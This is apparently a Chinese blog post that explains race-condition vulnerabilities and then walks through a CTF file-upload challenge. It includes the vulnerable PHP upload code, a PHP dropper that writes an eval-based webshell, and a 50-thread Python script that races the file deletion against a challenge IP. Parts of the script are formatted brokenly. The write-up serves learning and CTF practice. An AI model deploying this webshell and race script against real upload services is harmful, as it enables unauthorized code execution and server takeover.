条件竞争

作者 by Yichen / 2023-08-11 / 暂无评论 / 21 个足迹

1.概念:

发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。这个漏洞存在于操作系统、数据库、web等多个层面。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

2.个人理解

对于这类漏洞在查阅一些博客后,感觉这类漏洞就像一种“夹缝里”的漏洞,假设有一个会员卡订单程序,用户提交订单购买了价值等同于自己全部余额的商品后,在程序进行余额查询操作还未进行扣款操作时,用户第二次调用到了余额查询操作,而在此时第一次结算操作才结束,那么用户第二次调用到的余额查询操作显示出用户的原有余额,如按程序继续结算,用户最终获得了两份等同于自己全部余额的商品;这个例子中条件竞争漏洞就存在于余额查询操作与扣款操作的夹缝里。
局限性:当代码能够多线程执行,且存在类似上述的夹缝时才能够利用漏洞

3.例子

攻防世界泰山杯wzsc_文件上传

文件上传首先尝试上传正常图片,转到了upload.php,尝试upload路径,成功访问图片
1672823470085-539a9fcd-5196-48e8-867e-09ebfdd38e45.png
此时得到上传路径,尝试上传一句话木马,打不开,图片马,.user.ini等方法都不行,看了下wp,里面有源码如下(这源码只能在wp里看嘛?)
<?php
$allowtype = array("txt","jpeg","bmv","doc","docx","gif","png","jpg");
$size = 10000000; $path = "./upload/"; $filename = $_FILES'file';
if (is_uploaded_file($_FILES'file'))
{
if (!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ exit(); }
}
else { exit(); }
$newfile = $path.$filename;
if ($_FILES['file']['error'] > 0){ unlink($newfile); exit(); }
$ext = array_pop(explode(".",$_FILES'file'));
if (!in_array($ext,$allowtype)){ unlink($newfile); exit(); } ?>

此时看标红两行,该上传过程中会先将上传的文件保存下来,然后看后缀,不符合白名单则删除
这时就出现了“夹缝”且显然可多线程,使用条件竞争漏洞即可

4.使用方法

首先整个一句话木马
<?php fputs(fopen("cmp.php", "w"), '<?php @eval($_POST["a"]); ?>'); ?>
大致意思是访问此文件时生成cmp.php,并将<?php @eval($_POST["a"]); ?>写入文件
然后找个访问脚本如下(还不太会用python假期一定学会)

import requests
import threading
import os

class RaceCondition(threading.Thread):

def __init__(self):
    threading.Thread.__init__(self)

    self.url = '['](http://61.147.171.105:51905/upload/a.php'//)#加上传文件路径
    self.uploadUrl = '['](http://61.147.171.105:51905/upload/shell.php'//)#加目标生成文件路径

def _get(self):
    print('try to call uploaded file...')
    r = requests.get(self.url)
    if r.status_code == 200:
        print('[*] create file shell.php success.')
        os._exit(0)

def _upload(self):
    print('upload file...')
    rs = requests.get(self.uploadUrl)
    if rs.status_code == 200:
        print('[*] create file shell.php success.')
        os._exit(0)

def run(self):
    while True:
        for i in range(5):
            self._get()

        for i in range(10):
            self._upload()
            self._get()

if name == '__main__':

threads = 50

for i in range(threads):
    t = RaceCondition()
    t.start()

for i in range(threads):
    t.join()

该脚本将用来访问上传的文件,若访问成功则结束并输出success,以此获得可使用的木马
然后设置BP
上传a.php并抓包,发送到intructer
1672824492023-8407e9f0-00e4-4fcd-a2e1-ada504cf446e.png
1672824562277-1f6246fe-3d05-424e-b314-003534274a03.png
做如上设置,注意下图一定要取消报头更改,否则脚本访问不到1672824633122-29c258fa-4c75-4611-b05f-5eaa659efd76.png
然后启用攻击,并运行脚本
1672824759495-eb4e2fb4-ff24-4210-8514-f0e7ec10479e.png
成功创建所要文件
1672824822166-4015f292-3bc6-4ce2-be3f-463a92707703.png
蚁剑链接成功,找flag
1672824890584-fb31f0f5-6c2a-4155-8a9e-7ed1a4e6d8fd.png
完结撒花

独特见解